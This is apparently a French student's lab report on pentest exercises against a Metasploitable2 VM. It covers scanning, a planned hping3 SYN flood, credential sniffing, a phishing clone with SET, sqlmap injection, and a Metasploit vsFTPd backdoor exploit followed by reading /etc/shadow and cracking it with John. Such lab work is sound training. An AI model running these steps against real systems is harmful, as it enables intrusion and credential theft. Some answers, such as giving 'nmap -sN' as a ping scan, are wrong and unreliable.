
Mission 0 : Généralités

1. Trouver l'anglicisme utilisé pour qualifier les tests d’intrusion.

L’anglicisme utilisé pour qualifier les tests d’intrusion est “pentest”

2. En terme de sécurité informatique, définir ce que représente un « honey
pot ».

Le honey pot est dans le jargon informatique un mécanisme de sécurité, il
permet aux administrateurs de tromper les pirates et ainsi de déjouer des
cyberattaques.

3. Trouver et indiquer les sanctions pénales encourues pour intrusion non
autorisée dans un système d’informations automatisé.

Cela est puni de 150 000€ d’amendes et de 5 ans d’emprisonnement.

Mission 1 : Découverte des outils nmap et Nessus de Kali

1. Rechercher et indiquer les deux rôles majeurs de l’outil nmap.

Les 2 rôles majeures de l’outil Nmap sont de trouver dans un délai très
court, tous les ports ouverts sur une machine distante. Il permet
également de connaître le type et la version de l’OS tournant sur la
machine que l’on attaque.

2. Dans un terminal de la distribution Kali, taper la commande nmap et
indiquer ce que fournit le résultat.

Cela nous montre une liste d’aide de la commande nmap. On a aussi tout à
la fin des exemples de comment utiliser la commande.

3. À l’aide de la documentation de nmap et de la ressource n°1, retrouver la
syntaxe de la commande permettant d’obtenir une découverte des hôte
du réseau 192.168.1.0/24 en utilisant le procédé Ping Scan.

On utilisera la commande :
sudo nmap -sN 192.168.1.0/24



4. Analyser maintenant la machine nommée matasploitable2 (192.168.1.X)
de façon à lister l’ensemble des services présents sur cette machine ainsi
que leur version.



5. Dans un terminal, en super utilisateur, tapez la commande suivante pour
démarrer le service Nessus : /bin/systemctl start nessusd.service

Ouvrir un navigateur et taper l’URL suivante : https://localhost:8834.
Détailler les étapes permettant de réaliser un scan avancé du réseau
192.168.1.0/24.

https://localhost:8834


6. Observer les vulnérabilités recensées sur la machine nommée «
metasploitable2 » (192.168.1.X).

Mission 2 : Mener une attaque DOS sur un client Windows 10 avec l’outil
hping3

1. Expliquer ce que signifie une attaque DOS.

DoS siginifie Denial of Service (Déni de Service en français) est une attaque
informatique ayant pour but de rendre indisponible un service,
d'empêcher les utilisateurs légitimes d'un service de l'utiliser.

2. Trouver le rôle de l’outil hping3.

hping3 est un outil réseau capable d'envoyer des paquets TCP/IP sur
commande et d'afficher les réponses de la cible comme le programme
ping le fait avec les réponses ICMP. hping3 traite la fragmentation, les
contenus de paquets et les tailles arbitraires, et peut être utilisé dans le but
de transférer des fichiers encapsulés dans les  protocoles  supportés.

3. À l’aide de la commande hping3, mener une attaque sur le client
Windows 10, avec les paramètres suivants :

• envoyer 100 paquets
• taille des paquets : 128 bits
• type de paquets : TCP SYN
• taille de la fenêtre TCP : 64 bits
• port cible : 80
• envoyer les paquets aussi vite que possible sans prendre en compte
les réponses retour.
• envoyer les paquets avec des adresses IP sources aléatoires.

Avant de lancer l’attaque :



• dans le client Windows 10, ouvrir un gestionnaire des tâches pour
observer l’état des performances des ressources (processeur,
mémoire, disque, carte ethernet).
Réaliser des captures d’écran du gestionnaire des tâches avant puis
pendant l’attaque et interpréter les observations.
• dans Kali, ouvrir Wireshark et démarrer une capture en appliquant
un filtre sur le protocole TCP.

Après avoir observé l’attaque sur le gestionnaire des tâches Windows,
interrompre cette dernière (Ctrl+C) et stopper la capture Wireshark.
Observer les trames capturées.

La ligne qu’il faut écrire pour pouvoir faire l’attaque DoS est :

Avant l’attaque :



Pendant l’attaque :

Trame WireShark :

Mission 3 : Mener une attaque MITM avec l’outil Wireshark

1. Expliquer le fonctionnement d’une attaque MITM (Man In The Middle).

Lors d'un détournement de session, l'attaquant attend que la victime se
connecte à une page web, par exemple le site de sa banque. Il vole ensuite
le cookie de session pour se connecter à ce même compte depuis son
navigateur. Il peut ainsi utiliser le compte de la victime.



2. Réaliser les étapes suivantes :
• sur Kali, dans un navigateur web, ouvrir la page d’accueil de la
machine nommée « metasploitable2 » (192.168.1.X) puis naviguer vers
l’application DVWA
• sur Kali, ouvrir Wireshark et lancer une capture sur l’interface eth0.
Une fois la capture lancée, filtrer l’affichage sur le protocole HTTP.
• dans le navigateur web, sur l’application DVWA, compléter le
formulaire d’authentification avec des identifiants factices puis
cliquer sur le bouton « Login ».
• Arrêter la capture Wireshark et repérer la trame relative au post du
formulaire.
• effectuer une capture d’écran révélant les identifiants utilisés lors de
la connexion au formulaire.



Mission 4 : Mener une attaque MITM par usurpation de site web avec
l’outil Social Engineering Toolkit

1. En utilisant la ressource n°4, montrer comment cloner le site web
phpMyAdmin hébergé sur la machine nommée « metasploitable2 »
(192.168.1.X).

Ouvrez l’outil Social Engineering Toolkit sur votre machine Kali Linux.





2. Depuis un navigateur web, sur un poste client, ouvrir le clone du site web
et utiliser des identifiants de connexion factices à phpMyAdmin. Observer
la trace enregistrée dans l’outil Social Engineering Toolkit.

3. Quitter l’outil Social Engineering Toolkit et effectuer une capture d’écran
du rapport XML généré.



Ouvrez Fichier, suivez le chemin suivant : Autres emplacements ->
Ordinateur -> root -> .set -> reports et ensuite sur le fichier .xml qui s’y
trouve cliquez dessus et vous arriverez sur cette page.

Mission 5 : Mener un test d’intrusion sur un site web par injection SQL avec
sqlmap et Burp Suite

1. En utilisant la ressource n°5, détailler les manipulations à effectuer pour
extraire l’ensemble des comptes utilisateurs liés à l’application web «
mutillidae » hébergée sur la machine nommée « metasploitable2 »
(192.168.1.X).

Une fois après avoir ouvert Burp Suite, allez dans l’onglet Proxy puis cliquez
sur Open Browser. Rentrez ensuite l’adresse IP du metasploitable.
Faites Forward à chaque fois que vous accédez à une nouvelle page.

Une fois sur la page mutillidae, suivez le chemin suivant : OWASP TOP 10 ->
A1 - Injection -> SQLi ExtractData -> User Info. Et vous allez donc arriver sur
la page suivante :



Ouvrez ensuite sqlmap et mettez vous en mode root. Entrez la commande
sqlmap -r/home/btssio/file



Mission 6 : Exploiter une backdoor du service vsFTPd pour s’introduire
dans le système d’exploitation et voler les identifiants et mots de passe
des comptes système avec Metasploit et John The Ripper.

1. En utilisant les ressources n°6, n°7 et n°8, présenter comment exploiter
une faille du service vsFTPd, installé sur la machine nommée «
metasploitable2 » (192.168.1.X), pour s’introduire sur un système
d’exploitation Linux et voler les identifiants et mots de passe des comptes
système.
Il faudra commencer par trouver la version de ce service avant de regarder
les exploits disponibles dans Metasploit puis utiliser celui correspondant à
la backdoor.



Ensuite il faudra récupérer les fichiers contenant les utilisateurs du système
cible Linux et les mots de passe correspondants.
Enfin, il faudra déchiffrer ces mots de passe.

Ouvrez l’application msf à l’aide de la commande msfconsole

Ensuite faites la commande use exploit/unix/ftp/vsftpd_234_backdoor
et ensuite la commande set rhosts 192.168.1.223

Faites run



Faites la commande cat /etc/passwd puis copier coller ce que ça vous
donne dans un fichier que vous enregistrez dans Documents.



Faites la commande cat /etc/shadow puis faites comme ci-dessus.

Ensuite, ouvrez un Terminal et faites la commande cd Documents et
ensuite la commande unshadow passwd shadow > merged.txt.



Puis faites la commande john merged.txt.

Voici les mots de passe et identifiants des utilisateurs.


